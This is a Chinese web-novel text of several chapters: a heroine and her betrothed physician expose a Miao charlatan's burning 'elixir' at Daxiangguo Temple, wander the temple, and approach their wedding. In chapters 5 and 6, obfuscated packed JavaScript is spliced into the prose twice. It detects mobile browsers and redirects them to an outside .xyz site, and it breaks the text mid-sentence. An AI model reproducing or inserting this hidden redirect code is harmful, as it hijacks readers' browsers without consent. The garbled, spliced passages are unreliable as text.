金坠深吸一口气,低声道:“姊姊难道就不曾想过,这些年来,叔父是如何一步步做到今天这个位置的?为了攀附雍阳长公主,他究竟都做了什么?坊间流传的那些残害忠良之事难道皆是空穴来风?如今新帝年少,长公主垂帘辅政,叔父也如愿成了宰执……” “你既知是坊间流传,便不该说出来!”金尘颤声,“坠儿,他是你叔父,是我父亲啊!没有他,便没有这个家!你怎能说这样可怕的话?” 金坠垂目不语。金尘握住金坠冰凉的手,劝道: “坠儿,姊姊知你为嘉陵王殿下的离去乱了心神。可有些事是无论何时都说不得的,明白么?逝水不可归,姊姊知道你曾受了许多委屈,只盼你今后过得开怀些。那些流言蜚语都会慢慢过去的。殿下在天有灵,定不愿见你为他伤神……” 一时无话。金坠闭上眼,攥着那只冰冷的镯子喃喃自语: “当初在我最难、最孤独之时,是殿下来到我身边,不仅救了我的命,更使我重新对人世有了盼望。我不明白,一个鲜活的人不明不白地没了,永远消失了,可所有人都像什么都没发生,就像只是树上的一朵花被风折断了……都说嘉陵王殿下是观世音转世,可就连观世音都如此脆弱,我们又该怎么办呢?” 她再也说不下去,掩面啜泣起来。金尘将妹妹搂在肩头,一面替她拭泪,一面说道: “你想啊,他若真是观世音转世,只是来凡尘历劫的,这一世尘缘已尽,他便回天上去了。你很幸运,能在这短暂的一世中与他结缘。将他记在心里,好好活下去,好么?” 金坠默不作声。金尘轻叹一声,将那只翡翠镯戴在她腕上,柔声道: “你累了,先睡个好觉吧——有些地方,或许在梦里比现世中更美些呢。” 4. 相见欢 自打沈家的聘礼送至金府,金坠便决意闭门不出,不分昼夜躺在床上,偶尔醒时只靠刺绣消磨光阴。婚期定于半月之后,她还能在自己屋中做上半月的梦。四姊姊所言不虚,有些地方在梦中比在现世中更为美丽——既无法在清醒时去往那里,索性以梦为生,一响贪欢。 这日宛童进屋侍水,见金坠难得醒着,半倚塌间,在昏暗的罗帐下穿针引。她埋头绣花绣得出神,直到小婢子连唤了三声才抬起头。宛童搁下水盆,嗔道: “五娘绣的什么,将你的魂儿都牵走了!” “绣一个梦。”金坠淡淡道。 “五娘终日这般卧床不起,也不盥洗,也不梳妆,教人看见可怎么好!” 金坠懒懒道:“这里没外人,我打扮给谁看?” “此刻是没有,半月后便有了!五娘是即将出阁的人,可不得打扮得风风光光的,哪有新妇成日愁丧着脸躲在屋里刺绣,倒像个寡妇似的!” 金坠用绣针隔空戳了戳她粉圆的面颊,佯怒道:“你这张嘴几时也伶俐成这样了?” “还不是同五娘学的!” “孺子可教,没白疼你。” 金坠复又拿起绣活。宛童长叹一声,上前摇着她的手道: “五娘,咱们出去逛逛罢!成日这样绣花可伤眼了——听说大相国寺前来了个会变幻戏的神医,包治百病还精通占卜,咱们去看看吧!” “相国寺前班门弄斧,可不是要抢了神佛的生意?”金坠冷笑,“都说信命的人算命是算不准的,不信的人才在命里。我已听天由命,何必去算?” “五娘要真听天由命,现在就该在寂照寺里吃斋念佛了!”宛童正色道,“那位神医可同那些江湖骗子不一样,是从南国苗疆来的,精通测算之术,找他算过命的人没有不说灵验的呢!” 金坠一怔,慢慢放下手头的绣布。雪缎之上针脚绵密,嵌勾着某种草植的青碧轮廓,形如鸟羽,累累可爱,正是南国密林中特有的翡翠葛花——同她腕上那只翡翠玉镯一般,皆来自同一个遥不可及的梦乡。 大相国寺就在金府附近,历来是帝京繁盛之所在。金坠被宛童从屋中一路拽来,远见香火缭绕,人烟稠密,直教人兴生隔世之叹。寺东门沿街一带,铺肆如云,万姓交易。前有土物香药、饮食茶果,后有书画古玩、珍禽奇兽,五色缭乱迷人耳目;夹道挤满诸色杂耍幻戏艺人,上天入地吐火行水,尽是人间难得之奇景,引人不惜销金熔银也要一探究竟。 相较之下,那苗疆巫医的占卜摊冷冷地杵在巷末,黑铺黑帜,全无声色;布招上写着蚁行似的异域迷文,十分神秘。若非铺前人头攒动地排着长龙,没人会特意往那处瞥上一眼。 宛童兴冲冲地排在队末,探头探脑,念念有词,一副迫不及待想知晓自己命运的架势;半晌终于到了摊前,却犹豫着不敢上前了。金坠在身后推她道: “到你了,快去算命吧。” 宛童反将她推上前去:“五娘为主,五娘先算!” 金坠无奈,只得问摊主道:“敢问大师如何算法?” 那巫医头戴傩面,身穿墨袍,幽魂一般哑声道:“手。” 金坠伸出右手。巫医却道:“另一只。” 金坠一怔,不情不愿地褪下左腕上的翡翠镯交给宛童保管,再将手伸出去。巫医用黑铜手衣包裹的双手握住她的皓腕,沉吟良久,一言未语,竟只摇头喟叹。 金坠道:“大师何故叹息?” 巫医道:“请恕直言,娘子之命格如黑云笼罩之荒山密林,瘴雾迷眼,万难窥测,乃病入膏肓之象。” 宛童怒道:“什么乌烟瘴气,胡说八道!我家五娘活得好好的,如何就病入膏肓了?” 巫医道:“娘子体内被人下了一种蛊咒,看似无碍,实则孽根深植,入魇已深。若不及时攘除,必将遁入魔瘴,殃及性命。” 金坠淡淡道:“蛊咒?是谁下的,如何能除?” 巫医道:“在下远自南国苗疆而来,深谙世间巫蛊之术皆发源于此。常言系者解铃,娘子若非亲往源头寻求解咒之法,实难根除蛊毒。” 宛童急道:“苗疆那么远,怎可能去?再说我家五娘不久便要出阁了……” 巫医闻言,兀自说了一句苗语,语气沉痛,大抵是爱莫能助、另请高明之意。此言一出,在后面队伍里等候算命的、在铺子四周围观的人群皆发出同情之叹,无不可怜金坠如花似玉竟命途多舛。金坠本人倒无异色,不疾不徐道: “照大师之言,我竟已无药可救,只能等死了?” 巫医幽幽道:“也非无药可解。” 语毕,从身后架上的众多秘宝匣中取出一只水晶瓜棱瓶摆在案前。众人定睛望去,但见瓶中有一枚石子质地的乳白色物什,外观平平,并无稀奇之处。巫医将晶瓶举至金坠面前,徐徐说道: “此瓶中灵药乃由失传已久的苗疆上古秘术所炼,药效之灵,举世无二。若是寻常之辈,在下绝不愿透露玄机。我观这位娘子灵根慧骨,口眼通明,是难能有缘之人,愿奉此药攘灾解忧,惟愿娘子脱离苦海,早登彼岸。” 人群一阵啧啧艳羡。金坠不知这巫医耍的什么鬼把戏,顺着他的话术说道: “大师所言不差,我确被下了蛊咒,还是一种情蛊。可我偏不愿从这苦海解脱!” 巫医未料金坠这样不惜命,语塞之际,一旁忽有人道: “良言难劝想死鬼,她不惜命,那便是她的命!敢问大师,此药有何灵处,可否为我等演示一二?” 说话的是个中年贵妇,金坠认出是刑部尚书的夫人贺氏,深知此人对自己并无好感。自从与嘉陵王之事遭人毁谤,半个帝京贵妇圈都对金坠喊打喊杀。这刑部夫人与先前退她亲事的贺家同出一门,对她自是恨得紧,还高兴在闹市上逮到个公报私仇的良机呢。 苗疆巫医不谙这些世俗杂闻,高举晶瓶示向人群,朗声道: “诸位请观:此物产于南国野岭之中,乃是由苗疆上古神女央阿沙之圣泪积万年所化。在场诸位,可有人曾听闻央阿沙神女的传说?” 无人应答。巫医深表遗憾地摇了摇头,唱戏一般抑扬顿挫地说道: “在我们苗乡神话中,央阿沙是为‘露水神女’。相传,神女诞于一片清澈山谷,由林间夜露所化,有着生养万物的美貌与灵力。然而,这也为她带来了不幸——太阳沉迷于央阿沙的美,便令乌云做媒,强行将她带去了天上。可太阳毕竟是太阳,光辉万丈,普照大地,对他而言,最重要的永远是权力与名望,而不是家中的央阿沙,何况他早已有了许多妻妾。央阿沙很快便被冷落了,独自在天宫中度过了许多年。然而……” “然而,在那些寂寂长夜里,月亮始终陪伴着央阿沙,于是他们偷偷爱上了彼此。太阳知后嫉妒成狂,日夜不休地在天上监视这对爱侣。很快,天下大旱,生灵涂炭。央阿沙不忍见万物受苦,毅然扑向太阳,熄止了灭世烈焰,自身却如朝露一般永远消失,只在世间留下了一滴泪水——那泪水化作清泉涌入山林,润泽万物,终使干涸的大地重焕生机。” 金坠兀自上前,模仿那苗医戏文般的语气,讲完了这个凄美的南国神话。后者一怔,抚掌赞颂道: “妙,妙极!不想中原竟有深谙我苗疆史诗之人!不知娘子从何听说央阿沙神女的圣迹?” “既是史诗圣迹,自有流芳于世的途径。”金坠淡淡道,“大师手中的那枚灵药,当真是由神女的泪水凝化而成么?” “正是!昔年央阿沙神女殉身救世,其圣泪积万年而成此水晶灵药,平素埋于山林草木之间,如霜如露,略不可见,或有触者,便生明光。” 巫医说着,拔出水晶瓶的木塞,将那乳白晶体倒出。众人望去,果见那物在巫医戴着铜制手衣的掌中发出萤火似的幽光;未及惊叹,巫医又搬出一只盛满水的铜缸,道: “其光盛如碧珠绿玉,又如明星璧月,遇水不熄反炽。研碎吞服之,则央阿沙神女灵息庇体,百病皆消,美意延年……” 语毕,将那乳白晶体投入缸中,又取出一支芦苇杆子,向水中不断吹 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“燐石产于荒野,多见于兵乱灾疫之地,相传为人兽骨血积年所化,所谓‘鬼火’正是此物。他说这药源自苗疆,或许不假——至于余下那些齐东野语,智者见智,诸位自行鉴别吧。” 人群立时炸开了锅。巫医古井般的嗓音骤起波澜,厉声质问: “你是何人,胆敢质疑上古灵药的威力?” “我只是个过路人。”来人淡淡道,“此药若当真包治百疾,大师不妨先行尝之,亦让诸位见识一番上古灵药的奇效。” 众人纷纷附和,那巫医却如石块般一动不动。来人于是又问道: “大师是不舍尝,还是恐服下这药,便会引火烧身,万劫不复?” 宛童惊道:“可他刚才还说这药能替我家五娘攘除蛊毒呢!” 来人微微一哂:“肉身都烧作了灰,蛊毒自也无处遁形——此物一经燃起,水火难灭。人若不慎触之,便是以躯体血肉为引,一个时辰之内肉毁骨销,无迹可寻,只留下一捧灰罢了。” 众人倒吸一口凉气,纷纷后退。那人却径自上前,饶有兴味地俯身凝视着仍在缸中簌簌燃烧的灵物,幽声道: “他大抵会叮嘱你们务必在深夜无人之时服用此药——届时电光石火,死无对证,纵是捧着骨灰去寻他,只怕他早已不在此处,跑回苗疆去了吧?” 巫医原形毕露,切齿道:“口说无凭,血口喷人!你有何实据?” “太医局熟药所中有炼制此物所需的全部原材,我恰供职于此。你若等得及,待我取来,当下炼制一份与此相同的灵药,便知我是否口说无凭。” 那人言毕,直视着巫医脸上狰狞的傩面: “在此之前,还请大师去狱中稍歇,以免再有百姓被你的妖言蒙骗,破财买灾。” 话音方落,两个帝京巡检司的府兵从后闪出,左右包抄了那黑袍巫医和他的算命摊。人群应声响起一阵赞美,那贺夫人满脸崇拜道: “不愧是医圣沈清忠公的后人!沈学士,今日若没有你,咱们都要上这江湖骗子的当了!” “天行有常,世间并无万灵药方。请至规正药坊问诊寻医,切勿轻信巫蛊方术之言——借过。” 沈君迁淡淡语毕,穿过仍在庆幸劫后余生的人群,悄然离去了。宛童听见“沈学士”三字,忙回过头去攥金坠的手,竟见她已径自追上前去,主动与未婚夫君搭起话来。 “如此说来,郎君便是那位大名鼎鼎的沈学士了?” 沈君迁闻言驻足,侧身转向她。不待他应声,金坠掩袖一笑,眼波一转,似喜非喜地眄着他,活脱脱一幅传闻中的狐媚相。看他片刻,用宛童从未听过的娇声细语盈盈说道: “妾见识少,险闹笑话,幸逢学士郎仗义执言,救妾于水火。君恩深如海,妾无以为报,来日必衔环……” “结草”二字尚未出口,却遭听者打断,仍是那冷静淡漠的声气: “金娘子,你我之间,无需如此见外吧?” 5. 绕佛阁 金坠一惊,不知沈君迁何以认出自己,他们分明素未谋面。转念一想,他曾见过自己的画像。 当初为将她这难脱手的侄女送出手去,叔父叔母不知请媒人往门当户对的人家处塞了多少幅她的画像,那许是她唯一可取之处。饶是如此,鲜有良家子弟愿接手一个毁了名节的女子。 金坠叹了口气,抬眼打量起面前这位狭路相逢的学士郎——最终是他仁心仁术,念在世交情面,更念在天子赐婚不可违的份上,忍辱负重地收了她的像,亦将忍辱负重地收下她的人。 早闻沈家郎君恃才清高,果不其然,面对聘妻的莺声燕语竟不动如山。嘴上说着“无需见外”,眼角眉梢却尽是生分,都没正眼瞧她。 金坠决心挫一挫他的傲气,故作娇态,晏晏一笑,端着声气儿说道: “沈学士此言差矣!妾虽以身许君,毕竟尚未出阁,自需按内宅之礼相见。即便过了门,仍需尊你一声外子——俗言夫耕于前、妻耘于后,你我还是相敬如宾,见外些好!” 她一番大道理不疾不徐,听得沈君迁怔了一怔,眉头紧锁。他尚未说话,宛童追上前来,满面崇拜道: “多谢沈学士相助!方才若不是你,我们五娘可要被那江湖骗子的鬼药烧成灰了!” 金坠冷冷一笑,斜睨那人,幽声说道: “肉身都烧作了灰,蛊毒自也无处遁形——沈学士此言醍醐灌顶,我倒没想到还可以这样治病!” 君迁淡淡道:“戏谑之言,怠慢了。” “那个巫医说我中了蛊毒,时日无多。”金坠徐徐道,“依沈学士之见,我究竟是有病还是没病?” 君迁亦徐徐道:“察言观色不足为证,金娘子若诚意问诊,不妨移步医局,我再仔细为你诊疗。” “沈学士不愧仁心仁术。你我来日可期,何必急于一时?”金坠冷笑,“不过我若当真得了什么不治之症,只恐对不住你提亲那日送来鄙舍的聘礼呢!” 君迁沉静如潭的面容上似起微澜,旋即敛容道:“当日事冗,未能久留,失礼之处还望海涵。” “无妨!那天我也忙得很。”金坠话锋一转,“对了,沈学士单独送来我屋中的那只匣儿我收到了。多谢你的灵丹妙药,我一次服完,只觉通体舒畅,百毒不侵!” 君迁一凛,不可置信地望着她:“你一次全服了?” 金坠点点头:“是啊,我还特意加了人参、当归、麻黄一起炖呢,可滋补了!” 君迁瞠目:“那都是上火的热药!你——你当真全服下了?” “我若当真全吃了,不必等那江湖骗子的灵药把我烧成灰,我便早已引火烧身了!届时,恐你只得与我冥婚了。” 金坠粲然一笑,无辜地轩了轩眉,学着他方才的话术道: “戏谑之言,怠慢了——放心吧,你那宝贝药匣子还裹着红绸,好端端地供在我屋里呢。” 君迁松了口气,望着她道:“你不好奇那是什么药?” 金坠略一沉吟,故作惊羞,凑到他耳边半嗔半喜地低语: “不会是……那种药吧?” 君迁一怔,后退几步,敛眉嗫嚅:“……不是。” 话落,转身拂袖而去,似无意同她多纠缠。金坠铁了心要戏弄这一本正经的学士郎,岂能让他逃走,吃吃一笑,亦步亦趋死缠着他: “什么不是?你晓得我说的是哪一种药?” 君迁一言不发,兀自走得飞快,头也不回。金坠不做不休,贴身上前,一把搂住他的胳膊: “我身上真着火了不成?跑那么快,追得人好热呢!” 君迁面不改色,默默从她怀里抽回手,扭头便跑。不巧前边就是大相国寺正门,人山人海,阻住他的去路。寺前有云游高僧当街说法,吸引观者无数。大师舌灿莲花,正滔滔讲着《金刚经》: “佛言过去、现在、未来心皆不可得,此是为三际之心。因何不可得?心不有,妄缘无;妄缘无处,即菩提……” 君迁走投无路,索性驻足回身,正色道: “下月成婚后,我或将调职离京。金娘子若觉此间燥热急火攻心,不妨随我同行。看看山水,修生养性,或得解脱。” 金坠只当他在骂自己有病,怡然自得地点点头: “好啊,我长那么大,还没怎么出过京呢。湖光山色两相和,不仅宜养生,更宜轻生。跳下去灭灭心火,正好解脱。” 君迁皱了皱眉:“你不想活了么?” 金坠懒懒道:“现世无趣,只求早日转生。” 君迁道:“所谓轮回转世皆是虚妄之念,人死灯灭,什么也不会留下。与其指望转世投胎,不如活好这一世。” 金坠冷笑:“相国寺前说这些悖天逆理的话,沈学士倒也不怕惹恼神佛。” “我不信天理佛理,只信医理常理……” 君迁话音未落,不知从何冒出一群香客,拖家携口蜂拥而来,风风火火地拥进寺中,所过之处如风卷残云,霎时将正在寺前闲聊的二人卷入其间—— 回过神时,他们已被人群裹挟着推进大相国巍峨的山门里。至于宛童则已不知被冲散去何处了。 “你瞧,这便是上天见你无敬畏之心,罚你到佛前参悟悔改来了。”金坠叹了口气,“来都来了,上炷香罢!” 大相国寺贵为皇家寺院,规模自与隐于山林的寂照古刹迥异。目力所及,无不金碧辉煌,法相庄严,钟鼓齐鸣,梵音震天。每至一殿,均庄严罗列着香花油灯,幢幡宝盖;菩萨金刚高坐云端,善男信女来去如烟。更有虔信香客,五体投地,一步一拜膝行至佛前,涕零长跪不起,高诵佛经全篇。 见此情景,金坠故意拽了拽君迁,向他耳语道: “你瞧别人都在虔诚礼佛,倒显得你我心术不正,毫无信仰可言呢。” 君迁冷冷道:“有何信仰,虔诚祈求荣华富贵罢了。” 金坠一哂:“沈学士这般愤世嫉俗,倒颇似真正的法门信众。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977793|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我说了,我不信这些。” “我知你不信——然有道是佛靠金装。你看这尊如来佛像金得晃眼,想来法力无边,断不会苛责芸芸众生的一点儿渴念。沈学士行医济世的人,又何必这般苛刻呢? ” 金坠语毕,将手里的三柱清香插入面前金身大佛前的紫金香炉中,也没许愿,兀自走出大雄宝殿。君迁早已不堪其扰,匆匆敬了香,快步随她离开这喧嚣之地。 二人漫无目的地在寺中游走,不觉行至偏殿中的一处禅堂。此地总算少了些人声。金坠松了口气: “这里倒还有几分清净国土的模样。” 他们步入禅堂,见此间是个供人追思祭魂之处。堂中供奉着诸多牌位,每只灵龛前点有一盏长明灯,于静谧之中幽幽而燃,为彼岸亡者送去无量光明。金坠凝望着那些镌刻灵前的陌生姓名,不觉心生凄然。沈君迁亦无言徘徊,不知所思,面色看来有些凝重。 转角处的灵位前,有一家老小正在敬香凭吊,看衣着并非富贵人家。不同于先前在佛殿中所见的那些浮夸香客,这家人形容庄肃,轻声细语,一丝不苟地焚香参拜,瞑目默思。 见此情景,金坠侧过身去,悄声对君迁道: “你看,世人求神告佛,不只为在身后寻些慰藉,亦是为所思所爱之人在彼岸求个好归宿。你若告诉他们人死后什么都不会剩下,只怕这佛殿中的长明灯将一盏盏灭尽,变得漆黑一片了。” 君迁不语,抬眸望向正在祭灵的一家人,看到灵牌的一刹却面露异色。金坠亦举目眺去,一时也面孔煞白,木雕泥塑般僵立在原地。 那青玉灵牌之上,赫然镌刻着“故嘉陵王讳祈恩往生莲位”。 四下无声,唯闻烛火瑟瑟轻颤。那一家老小依次上完了香,回过身去,才发现身后竟立着两个人。老翁主动问道: “二位也是来为嘉陵王殿下敬香的么?” 金坠回过神来,摇了摇头,强颜道:“相国寺供奉牌位费用不菲,请问诸位为何在此为殿下设灵供香?” “先前老家闹水灾又闹瘟疫,县里贪官不管大家死活,若无嘉陵王殿下大恩大德亲自前来慈济百姓,一家老小都活不到今日!去年得知殿下遭逢不幸,乡邻们原想在老家为他建座祠堂,官府不准,后来听说帝京大相国寺准许百姓为贵人捐长生灵牌追福,全村人筹了钱粮,托小老一家进京来为殿下祈福。可怜殿下天人一般,竟早早往生去了……” 苍髯老人忆及往事,老泪纵横,合掌念佛。身旁家人触景生情,皆低声啜泣。老翁哀思半晌,复又叹道: “阿弥陀佛!都说嘉陵王殿下是观世音菩萨转世,如今已渡生劫,可往彼岸净土安享天福矣!” 那家人离去后,佛殿中再无旁人,愈发幽寂。金坠呆立灵前,垂眸不言。君迁亦不言语,静候其旁。 “你知道,我与嘉陵王殿下曾经很熟吧?”沉默良久,金坠抬起头,以一种近乎逼视的目光望向君迁,“你不在意么?” 6. 三际心 供满往生牌的佛堂中除了他们二人,再无余人。一盏盏长明莲灯幽幽而亮,更衬出万分寂静。 面对金坠突如其来的问题,沈君迁沉默片刻,低声道:“逝者已矣。” “是啊,逝者已矣……”金坠惨淡一笑,望着面前那块被灯焰映得忽明忽灭的灵牌,“生者又该如何呢?” 君迁尚未做声,忽闻檐下雨铃玎玲响动,空荡荡的佛堂中倏地吹进来一股倒春寒冷风。两人皆打了个寒颤,眼前一暗,只见方才那一家人供在嘉陵王灵前的长明莲灯也被风吹灭了。 金坠一惊,却见君迁立刻从怀中取出把小巧的火折子,俯身为莲灯续上火。明光重新燃起,照亮一方幽寂。 金坠转头望向君迁,他的面容隐于浅绯的灯影下,神情难辨,只看见那双眼睛泛着清凛凛的光。她心中无端随火焰一颤,欲言又止,垂眸轻语: “……谢谢你。” 君迁同样欲语还休,隔着灯焰回望她。这时又有香客前来进香,二人如梦初醒,慌忙让路,一前一后走出佛堂,原路离开。 相国寺外仍是万头攒动,信众如云,不得不侧身避让才可通行。金坠远远将君迁甩在后面,费力挤出山门,正待喘气,蓦地想起一事,忙又回过身去—— 那日,慧空法师因她不知相国寺山门后所刻四字偈言而拒她皈依,她倒要看看,这富丽堂皇的寺门后究竟藏有何等醒世机语。 金坠逆着人流折回,正要绕到山门后去看匾上题字,一旁忽蹿出个驼背老妪,一把扯住她的衣袖道: “南无阿弥陀佛!寺院不走回头路,小娘子且止步吧!” 这话很是莫名,金坠应付几句便急着脱身。谁知那老妪仍死攥着她不肯松手,惹得金坠颇为烦躁,手上不禁使了些力,却见那老妪“哎哟”一声,两眼翻白,兀自厥倒在地。 金坠一惊,未及反应,人群中飞身闯出一矮壮男子,大呼一声亲娘,跪地抱着那老妪干嚎不止。过往香客纷纷避让,窃窃私议。有好心人上前询问老妪伤情,想帮着送医,那男子一概不理,只纠着金坠讨要“说法”,眼见是赖上了她。 金坠岂能让这泼皮无赖占了上风,好言解释不奏效,索性拂袖而去。那男子忙撇下怀中老母追去,死缠烂打拽住她不放。过路人不知发生何事,皆不敢插手。 金坠心力交瘁,四下顾盼,远见方才失散了的那人正从寺中走出,如见救星,忙向他招手高唤道: “夫君救我!” 周遭喧嚷,她不得不朗声遥唤了数回。好在君迁听到了,疾步挤过人群向她而来。金坠如释重负,指着君迁对那无赖道: “我们家的钱都在我夫君身上。你要多少,问他要去。” 说话间君迁已来到面前。那人见金坠并非一人,稍有收敛,放开她转向君迁漫天要价。君迁耐着性子听他一通数落,从容道: “既是我家娘子不慎冲撞了令堂,理应赔偿。何妨先行送医,待病人无虞再结药费开支?” 那无赖嚷道:“送医?谁知你们会不会半路跑了!钱留下便是,我自己送她去!” 君迁不与他争辩,径自来到那昏倒在地的老妪身旁,俯身跪地替她搭脉,又拨开她紧闭的眼皮细细察看。其子见状忙上前阻挠,金坠拦住他道: “实不相瞒,我家郎君也是医门出身,还是个名医哩!你既怕我们半路跑了,不妨让他当下便替令堂治病吧。” 那无赖未料到这一出,正欲狡辩,君迁已十分自若地替老妪诊完了脉,抬头问道: “令堂可否时感四体乏力,食欲不振?” 无赖一愣,又听君迁继续问道:“耳鸣目昏,心悸胸闷?” 语毕不待作答,起身掸了掸衣上尘埃,沉声道: “脉象凶险,时日无多。不必送医了,请尽早回家准备后事,丧葬开支由我承担。” 无赖破口啐道:“呸,哪里来的草泽医人!我老娘活得好好的,怎就时日无多了?” 金坠在一旁幽声道:“大抵是她老人家业障深重触怒神佛,被降了果报吧?” 话音方落,却见那不省人事的老妪猝然张目,颤巍巍坐起来念了声佛,抓着君迁道: “大夫!老身还有救么?” “我的亲娘哟!你老人家怎起来了!” 那无赖见状急忙制止,反遭老娘训斥,悻悻不语。老妪长叹一声,复又追问君迁自己可还有救。君迁严肃道: “病根深固,药石难至。与其费力求医,不如虔心求告,若得神佛庇佑,或可回天。” “一派胡言!娘,莫听这江湖郎中瞎说……” “孽障!妄人!不孝子!早劝你寻正事做,莫再行这坑蒙拐骗的勾当,偏拉着你的八十老母来佛门净地作孽!气死了我,你指着什么活!阿弥陀佛,还不随你老娘去佛祖面前悔过!” 老妪一通大骂,一骨碌从地上起来,一把拽过其子,健步如飞遁入香客群中,老远还听见那一声声振聋发聩的“孽障”“妄人”。 金坠噗嗤一笑,斜睨君迁:“好个草泽医人、江湖郎中!原来你们堂堂太医局竟是如此替人看病的。” 君迁正色道:“医者无分贵贱,救死除疾为上。” 金坠点点头:“我看你也确救了那老妪一命。若再被那不孝子逼着多摔几回,恐真要得病了。” 君迁轻叹一声,问道:“他们何故为难你?” “说什么寺中不走回路,硬拽着我不让走。莫名其妙,讹人也不想个高明的借口。” “你为何要走回路?” 金坠不愿告诉他自己回去是为了看山门后的题字,故道: “我……我见你迟迟不来,想回去寻你呀。”说着,佯作幽怨地撇过脸去,“都怨你走得忒慢!” 君迁并不多疑,盯着她道:“那我今后走快些。” 金坠一哂:“那也得有路可走。” 时近正午,愈来愈多的香客从四面八方聚来,潮水般涌入相国寺中,将道路堵得水泄不通。两人正要迈步,一波波人争先恐后地挤上,直挺挺地往他们身上撞来,后头又有人不住推搡。金坠忍无可忍,回头提醒几句,反遭推她的那人呵斥,教她放尊重些,这里是“佛门净地”。 二人被堵在山门下,人海茫茫,进退两难。金坠叹道:“看来我们今天是走不出这佛门净地了。” 一转头,却见君迁不紧不慢地随她漂在人海里,一幅若有所思的模样。她冲他嗔道:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977794|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“沈学士耐性倒好,真像入定了似的!” 君迁回过神来,淡淡道:“出路在望,何必急于一时?” “尘海风波险恶,你不急,自有人替你急!” 金坠眼见他还是一副淡淡的模样,打定主意,不由分说拽过他的衣袖便往人堆里挤。君迁一怔,没来得及反应便被她拖走,只得亦步亦趋由着她乱撞。 双人并行远胜单枪匹马,二人肩并肩一鼓作气横冲直撞,终于从乌泱泱的人群中闯出。刚刚逃离了大相国寺,却一头扎进了寺前听云游僧说法的小圈子中。金坠跑得急,一时没止住步子,眼见就要往那僧人高举在手里的金刚杵上撞去。 “小心……!” 她回过神来,忽觉周身一热,已被君迁紧紧护在怀里,抬眸正对上他那双清而深的眼睛。 他们面前那云游高僧不动如山,全然不顾这一双人儿从天而降,仍在当众讲着《金刚经》。过去现在未来心,如露如电如是观,旁若无人,臻入化境,全然不知自己有多么添堵。 宛童也挤在人堆里左顾右盼,忽见他俩手牵手从人海中跑出来又没来由地抱在一起,惊得像见了活神仙,小跑过去迎接。 金坠浑身火烧一般,慌忙从君迁怀里挣脱,跑向宛童:“等急了吧?” “不急不急!五娘若还没逛够,再让沈学士陪你去别处走走,大好的春光,切莫负了才好呢!” 宛童嬉笑着打量他们,大抵以为这对素未谋面的新人竟一见钟情,携手漫步伽蓝,在佛前约定三生了一番。话音未落,君迁已不留情面地击碎了她的幻想,上前道: “熟药所中尚有公事未毕,请容我先行告辞。” 宛童义愤填膺:“又是熟药所?沈学士,我看你莫娶我家五娘,索性同你那些半生不熟的草药成亲去算了!” “宛童,不得无礼!”金坠斥住宛童,垂着眼帘不看君迁的脸,不冷不热地说道,“妾尚未出阁,不可在外久留。后会有时,就此别过。” 语毕欠了欠身,也不待他还礼,扭头就走。未行出几步,忽闻那人在身后轻唤:“金娘子。” 金坠原想装作没听见,却不由得驻足回眸:“沈学士还有何见教?” 君迁仍立在距她数步之遥的地方,似想同她说什么,吞声踯躅,半晌只道: “今日多谢你领我参观相国寺。” 金坠疑心他在揶揄自己,反唇相讥:“沈学士不会是受香火感化,耳闻目染,生出菩提心来了吧?” “不是菩提心。” 君迁深深看了她一眼,似在望她本人,又似遥望着她身后一片影影绰绰的大千世界。片刻后,自言自语似的说道: “只是忽然顿悟,所谓过去心、现在心、未来心(注)是为何意了。” 他这话没头没脑的,听得金坠一怔:“何意?” “后会有时,再谈不迟。” 君迁似有若无地一哂,向她温言道别。就像先前从天而降一般,复又于相国寺前的茫茫人海远去了。金坠满心不解,蹙了蹙眉,冲着他的背影嗔道: “妄人!” 【注释】 出自《金刚经》“过去心不可得,现在心不可得,未来心不可得。” 7. 结连理 三月初一,姹紫嫣红。依照帝京风水名家后知山人之言,是日乃“百十年未有”之嫁娶吉日,凡出阁女子,纵“垣残井断、地崩天裂”亦不会被休回娘家——金宰执夫妇为曾被退亲两回的侄女择此良辰出嫁,不可不谓用心良苦、舐犊情深。 五更未至,金坠便被拖起来梳妆。夫人叶氏亲自督工,唯恐她又同月前纳彩定亲时那般独自跑出去“看花”,闹出新的幺蛾子来,黄了同沈家的亲事。 金坠一面懒懒梳头,一面笑道: “事不过三,叔母何必心忧?上有赐婚圣旨,下有三书六聘,他纵拖也得将我拖去不是?” 叶氏讥道:“你也晓得要靠人拖!若无你叔父腆着老脸求来一道诏书,谁乐意拖你这油瓶儿!” 金坠正色:“坠儿有手有脚,自己会走。倒是叔母年事已高,切请好生颐养,若有个万一,坠儿远嫁在外,不好赶回端水侍药!” 叶氏青着脸冷笑一声,嘴上不说,手下发狠,只替她将婚服的腰带往死里勒。 虽是皇家赐婚,这场亲事却毫无尊贵排场可言。新帝年少且登基未久,国家大事皆仰赖金宰执操持,莫提金家自己这点闺门之事了。而金相对待此事的态度,亦如其一贯处世哲学:举重若轻。治国如烹油,嫁女如泼水——况还是盆浑水。 由于先前之事,金坠早因“狐媚惑主”声名远扬。如今嘉陵王阴魂未散,虽有赐婚圣旨背书,毕竟人言可畏,风光大嫁绝不合适。所幸老医圣沈清忠公过世未久,新郎沈君迁按理仍在孝期,正好借此将婚仪从简,免去些抛头露面的场合,请帖也只在亲友间寥寥递了几份。 